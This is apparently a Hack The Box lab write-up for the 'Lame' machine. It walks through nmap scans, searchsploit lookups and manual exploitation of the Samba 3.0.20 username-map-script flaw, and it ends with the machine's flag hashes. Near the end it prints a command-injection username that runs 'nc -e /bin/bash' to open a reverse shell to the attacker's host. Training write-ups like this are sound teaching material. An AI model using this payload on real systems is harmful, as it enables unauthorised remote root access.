HTB WriteUps
  • ℹ️Main Page
  • 👨‍💻whoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation

Was this helpful?

  1. Linux Machines

Lame

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.3 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Tue Jan  4 23:19:29 2022 as: nmap -p- -sS --min-rate 5000 -T5 -n -Pn -oN allPorts 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.048s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

# Nmap done at Tue Jan  4 23:19:56 2022 -- 1 IP address (1 host up) scanned in 26.84 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan those ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,139,445,3632 10.10.10.3 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Tue Jan  4 23:20:26 2022 as: nmap -sCV -p21,22,139,445,3632 -oN targeted 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.039s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h30m21s, deviation: 3h32m10s, median: 19s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2022-01-04T17:21:03-05:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan  4 23:21:20 2022 -- 1 IP address (1 host up) scanned in 53.31 seconds

Exploitation

As we can see, on port 21 there is an FTP service running with a suspicious version. Let's search for that version with searchsploit:

searchsploit vsftpd 2.3.4

------------------------------------------------------- ---------------------------------
 Exploit Title                                         |  Path
------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution              | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
------------------------------------------------------- ---------------------------------

We could see there is an exploit that we could use, let's try it. To copy that exploit script to the current folder, we just need to execute searchsploit with the -m option indicating the exploit path:

searchsploit -m unix/remote/49757.py

If we execute the exploit with the IP address of the targeted machine we will see that nothing happens.

python 49757.py 10.10.10.3

No worries, let's try to find other ways to gain access to the machine. If we look into the nmap scan, we could see that port 139 and 445 are open. These ports are usually used by the SMB service. Also, nmap reported the version of the SMB service, which is Samba smbd 3.0.20-Debian. Once again, let's try to find any exploit associated to that version with searchsploit.

searchsploit samba 3.0.20

---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                            | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)  | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                             | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                             | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                     | linux_x86/dos/36741.py
---------------------------------------------------------------------------------- ---------------------------------

It looks like there are some interesting exploits. Let's inspect the Metasploit one.

searchsploit -x unix/remote/16320.rb

If we take a look at the script, we can see that the only thing it does is login into the SMB server with the user /=nohup payload . Let's try to exploit this vulnerability manually.

First, we will need to try to list shares.

smbclient -L //10.10.10.3/ -N

  • -L get a list of shares available on the host.

  • -N makes use of a null session, don't ask for password.

We get this error:

protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED

If you ever get this error, try to add the following parameter to the command:

--option="client min protocol=NT1"

Let's run the final command in order to list shares:

smbclient -L //10.10.10.3/ -N --option="client min protocol=NT1"

Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME

We are able to lists shares successfully. It's time to get a shell. The idea is to get into the tmp share and login with the malicious user.

First of all, we have to set a netcat listener:

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

We get into the tmp share and then we login with the user "/=`nohup nc -e /bin/bash 10.10.14.7 4444`" to get a reverse shell.

smbclient //10.10.10.3/tmp -N --option="client min protocol=NT1"

Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>

smb: > logon "/=`nohup nc -e /bin/bash 10.10.14.7 4444`"

If we enter a random password, we should be able to get a reverse shell in our netcat listener.

As we got the shell as the root user, all we have to do is reap the harvest and get the user and root flag.

connect to [10.10.14.7] from (UNKNOWN) [10.10.10.3] 38566
whoami
root
cat /home/makis/user.txt
471160b2e7e83395d29872b6c3022212
cat /root/root.txt
cb52c12d0ef8fb4e59d1f4ab3414a30e